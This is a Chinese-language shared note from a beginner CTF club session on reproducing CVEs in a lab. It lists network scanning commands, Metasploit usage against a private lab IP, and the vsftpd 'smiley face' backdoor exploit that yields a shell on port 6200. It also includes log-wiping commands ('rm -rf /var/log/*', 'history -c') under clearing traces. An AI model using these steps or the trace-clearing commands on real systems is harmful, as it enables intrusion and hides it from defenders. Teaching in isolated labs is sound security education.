---
# System prepended metadata

title: NCtfU - 10/22 (資安小白也能輕鬆復現CVE Vava) (線上)
tags: [新手場, nctfu2024fall]

---

# NCtfU - 10/22 (資安小白也能輕鬆復現CVE Vava) (線上)
###### tags: `新手場` `nctfu2024fall`
:::success
[toc]
:::

:::info
講者 Vava
:::

### 錄影連結
### 講者簡報
[簡報](https://drive.google.com/file/d/1fvKEfadGsfH14-2LUw1aO6dszMOkK_q-/view?usp=sharing)

## 共筆

- 掃ip
    - arp-scan -l 192.168.199.0/24
    - netdiscover 192.168.199.0/24
    - nmap -sP 192.168.199.0/24
- 掃port
    - nmap -A 192.168.199.129

- 看有 ftp 沒有已知漏洞
    - nmap -p 21 --script ftp-vsftpd-backdoor 192.168.199.129

- 找 exploit
    - msfconsole
    - cve detail
    - github

### lab1: msfconsole
1. search 
2. use
3. options
4. set RHOST 192.168.199.129
5. run
6. get shell !!!

- 清除軌跡
    - rm -rf /var/log/*
    - history -c

### lab2: 惡魔微笑
1. nc -v 192.168.199.129 21
2. user xxxx:)
3. pass xxxx
4. 切到其他terminal
5. nc -v 192.168.199.129 6200
6. get shell !!!